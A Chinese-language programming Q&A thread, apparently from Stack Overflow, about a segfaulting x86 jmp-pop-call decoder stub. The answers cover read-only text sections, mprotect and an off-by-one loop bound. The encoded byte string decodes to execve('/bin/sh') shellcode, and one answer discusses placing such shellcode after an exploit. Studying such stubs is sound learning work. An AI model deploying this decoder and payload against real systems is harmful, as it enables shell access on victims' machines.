2014-12-18 85 views
0

這是我無法弄清楚錯誤的代碼的一部分。我使用jmp-pop-call技術,我得到的是「Segmentation Fault」。試圖使用GDB,但事情非常模糊。每個字節由1蟒蛇編碼,我要的是與下面的代碼部分解碼:使用jmp-pop-call技術的彙編解碼器

global _start 

section .text 

_start: 

    jmp short call_shellcode 

decoder: 

    pop esi 
    xor eax, eax 
    mov edx, 23 

decode: 

    mov bl, byte[esi+eax] 
    dec byte[esi+eax] 

cont: 

    cmp eax,edx 
    jz short encodedShellcode 
    inc eax 
    jmp short decode 

call_shellcode: 

    call decoder 
    encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81, 
+0

「.text」部分默認爲只讀。請參閱[這個答案](http://stackoverflow.com/questions/13777445/execve-shellcode-writing-segmentation-fault/13777931)的解決方法。 – Jester 2014-12-18 23:20:09

回答

0

如果你打算把這個shellcode放在exploit的後面,那麼在你的源文件中定義的section權限就沒有關係了。通常,可以使用nasm -f bin(或者其他彙編程序)編譯類似的代碼,並假定代碼運行的內存已經是讀/寫/執行。

出於測試目的,您可以創建一個測試運行器,它分配一些rwx內存,在編譯的代碼中寫入,然後跳轉到它。如果上面的代碼被用作測試器,並且事實上不是shellcode前面的解碼頭,那麼更改section屬性就可以了。

或者,一旦獲得代碼的位置,您可以使用mprotect/VirtualProtect並在更改編碼字節之前將您的代碼所在的頁面設置爲rwx。

當我爲解碼後的代碼編寫解碼存根時,我通常會將解碼器部分與文本部分的數據組合起來(類似於您正在做的),但將彙編器輸出設置爲二進制(無圖像類型,只是組裝x86字節碼)。該輸出在寫入rwx內存時應正常運行。

0

在新的CPU使用自修改代碼是不是一個好主意,因爲緩存。它會很慢。

在上面的代碼中,我可以看到錯誤的兩個來源:

  1. dec byte [esi+eax]如果代碼部分是隻讀將失敗。它取決於彙編器/鏈接器。

  2. db語句中的代碼encodedShesscode可能是錯誤的並導致分段錯誤。你減少這段代碼的每一個字節,但是代碼是什麼,以及在這個變化之後的結果是什麼,並不清楚這個問題。

修復提示:

  1. 讓你的段讀/寫。這是自我修改代碼的必要條件。
  2. 使用更好的調試器,在encodedShellcode上放置斷點並檢查解碼後的指令是否有問題。
0
mov edx, 23 

你正在做一個迭代太多!剛剛初始化EDX 22.

encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81, 

當您用逗號終止一行時,彙編器的行爲是什麼?